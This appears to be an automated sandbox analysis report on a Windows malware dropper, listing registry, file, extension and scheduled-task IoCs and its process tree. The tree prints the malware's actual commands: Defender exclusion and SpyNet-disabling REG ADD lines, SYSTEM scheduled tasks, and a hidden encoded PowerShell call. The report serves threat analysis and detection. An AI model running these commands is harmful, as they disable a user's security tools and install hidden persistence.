f79669d34e38545d8c1904b88aa4f9b9ecd9312f98a39c1fec1bc3bacf3f4897

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exeMUsoMHG.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	MUsoMHG.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

4072 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4072	rundll32.exe

Drops Chrome extension 3 IoCs

Processes:

MUsoMHG.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	MUsoMHG.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\goiejopegncpjmocklmfiipofdbkhpic\1.0.0.0\manifest.json	MUsoMHG.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	MUsoMHG.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

MUsoMHG.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini MUsoMHG.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	MUsoMHG.exe

Drops file in System32 directory 31 IoCs

Processes:

MUsoMHG.exepowershell.exepowershell.exeGThEBwa.exeInstall.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	MUsoMHG.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	MUsoMHG.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\48F3BB146086CEF37D471FBE460215C9	MUsoMHG.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	GThEBwa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\48F3BB146086CEF37D471FBE460215C9	MUsoMHG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	MUsoMHG.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	GThEBwa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	MUsoMHG.exe

Drops file in Program Files directory 14 IoCs

Processes:

MUsoMHG.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	MUsoMHG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	MUsoMHG.exe
File created	C:\Program Files (x86)\ATZmuaBwNwmU2\YISMFOCNmHSeR.dll	MUsoMHG.exe
File created	C:\Program Files (x86)\QYiUKrukFVUn\zWHWUzG.dll	MUsoMHG.exe
File created	C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\cqlwJQp.xml	MUsoMHG.exe
File created	C:\Program Files (x86)\aJAQLsoDkiWqC\jDkeDGo.dll	MUsoMHG.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	MUsoMHG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	MUsoMHG.exe
File created	C:\Program Files (x86)\SHsJRQZsU\btPRldJ.xml	MUsoMHG.exe
File created	C:\Program Files (x86)\SHsJRQZsU\IMONHe.dll	MUsoMHG.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	MUsoMHG.exe
File created	C:\Program Files (x86)\ATZmuaBwNwmU2\txeIqSu.xml	MUsoMHG.exe
File created	C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\NCRfQpY.dll	MUsoMHG.exe
File created	C:\Program Files (x86)\aJAQLsoDkiWqC\WtwjTdh.xml	MUsoMHG.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\DNDvMcbpefrYjKZ.job	schtasks.exe
File created	C:\Windows\Tasks\mDNVJgqIdbaAfzWWp.job	schtasks.exe
File created	C:\Windows\Tasks\bNHXguvSZYiOwSiXLC.job	schtasks.exe
File created	C:\Windows\Tasks\VgOpnHVQDAdMZqNFB.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4312	schtasks.exe
3184	schtasks.exe
3016	schtasks.exe
3268	schtasks.exe
1836	schtasks.exe
3588	schtasks.exe
1124	schtasks.exe
4652	schtasks.exe
1120	schtasks.exe
3720	schtasks.exe
440	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeMUsoMHG.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	MUsoMHG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MUsoMHG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2339e045-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	MUsoMHG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2339e045-0000-0000-0000-d01200000000}\MaxCapacity = "15140"	MUsoMHG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	MUsoMHG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	MUsoMHG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MUsoMHG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEMUsoMHG.exe

pid	process
5000	powershell.EXE
5000	powershell.EXE
5000	powershell.EXE
4188	powershell.exe
4188	powershell.exe
1644	powershell.exe
1644	powershell.exe
1836	powershell.EXE
1836	powershell.EXE
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe
2904	MUsoMHG.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	5000	powershell.EXE
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	1836	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.execmd.exeforfiles.execmd.exepowershell.EXEGThEBwa.exepowershell.execmd.exe

description	pid	process	target process
PID 2228 wrote to memory of 1840	2228	file.exe	Install.exe
PID 2228 wrote to memory of 1840	2228	file.exe	Install.exe
PID 2228 wrote to memory of 1840	2228	file.exe	Install.exe
PID 1840 wrote to memory of 4060	1840	Install.exe	Install.exe
PID 1840 wrote to memory of 4060	1840	Install.exe	Install.exe
PID 1840 wrote to memory of 4060	1840	Install.exe	Install.exe
PID 4060 wrote to memory of 3372	4060	Install.exe	forfiles.exe
PID 4060 wrote to memory of 3372	4060	Install.exe	forfiles.exe
PID 4060 wrote to memory of 3372	4060	Install.exe	forfiles.exe
PID 4060 wrote to memory of 1816	4060	Install.exe	forfiles.exe
PID 4060 wrote to memory of 1816	4060	Install.exe	forfiles.exe
PID 4060 wrote to memory of 1816	4060	Install.exe	forfiles.exe
PID 3372 wrote to memory of 4744	3372	forfiles.exe	cmd.exe
PID 3372 wrote to memory of 4744	3372	forfiles.exe	cmd.exe
PID 3372 wrote to memory of 4744	3372	forfiles.exe	cmd.exe
PID 4744 wrote to memory of 4456	4744	cmd.exe	reg.exe
PID 4744 wrote to memory of 4456	4744	cmd.exe	reg.exe
PID 4744 wrote to memory of 4456	4744	cmd.exe	reg.exe
PID 1816 wrote to memory of 1356	1816	forfiles.exe	cmd.exe
PID 1816 wrote to memory of 1356	1816	forfiles.exe	cmd.exe
PID 1816 wrote to memory of 1356	1816	forfiles.exe	cmd.exe
PID 4744 wrote to memory of 1988	4744	cmd.exe	reg.exe
PID 4744 wrote to memory of 1988	4744	cmd.exe	reg.exe
PID 4744 wrote to memory of 1988	4744	cmd.exe	reg.exe
PID 1356 wrote to memory of 4652	1356	cmd.exe	reg.exe
PID 1356 wrote to memory of 4652	1356	cmd.exe	reg.exe
PID 1356 wrote to memory of 4652	1356	cmd.exe	reg.exe
PID 1356 wrote to memory of 884	1356	cmd.exe	reg.exe
PID 1356 wrote to memory of 884	1356	cmd.exe	reg.exe
PID 1356 wrote to memory of 884	1356	cmd.exe	reg.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 2648	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 2648	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 2648	4060	Install.exe	schtasks.exe
PID 5000 wrote to memory of 3976	5000	powershell.EXE	gpupdate.exe
PID 5000 wrote to memory of 3976	5000	powershell.EXE	gpupdate.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 4312	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 3184	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 3184	4060	Install.exe	schtasks.exe
PID 4060 wrote to memory of 3184	4060	Install.exe	schtasks.exe
PID 4680 wrote to memory of 4188	4680	GThEBwa.exe	powershell.exe
PID 4680 wrote to memory of 4188	4680	GThEBwa.exe	powershell.exe
PID 4680 wrote to memory of 4188	4680	GThEBwa.exe	powershell.exe
PID 4188 wrote to memory of 3716	4188	powershell.exe	cmd.exe
PID 4188 wrote to memory of 3716	4188	powershell.exe	cmd.exe
PID 4188 wrote to memory of 3716	4188	powershell.exe	cmd.exe
PID 3716 wrote to memory of 3724	3716	cmd.exe	reg.exe
PID 3716 wrote to memory of 3724	3716	cmd.exe	reg.exe
PID 3716 wrote to memory of 3724	3716	cmd.exe	reg.exe
PID 4188 wrote to memory of 1120	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 1120	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 1120	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2020	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2020	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2020	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2088	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2088	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 2088	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 4092	4188	powershell.exe	reg.exe
PID 4188 wrote to memory of 4092	4188	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Users\Admin\AppData\Local\Temp\7zSC5B6.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1840

C:\Users\Admin\AppData\Local\Temp\7zSC911.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4060

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:3372

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:4744

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:4456

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1988

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1356

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:4652

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gszDowQvQ" /SC once /ST 02:59:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:4312

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gszDowQvQ"
4⤵
PID:2648

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gszDowQvQ"
4⤵
PID:4312

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bNHXguvSZYiOwSiXLC" /SC once /ST 08:07:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\GThEBwa.exe\" 3x /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
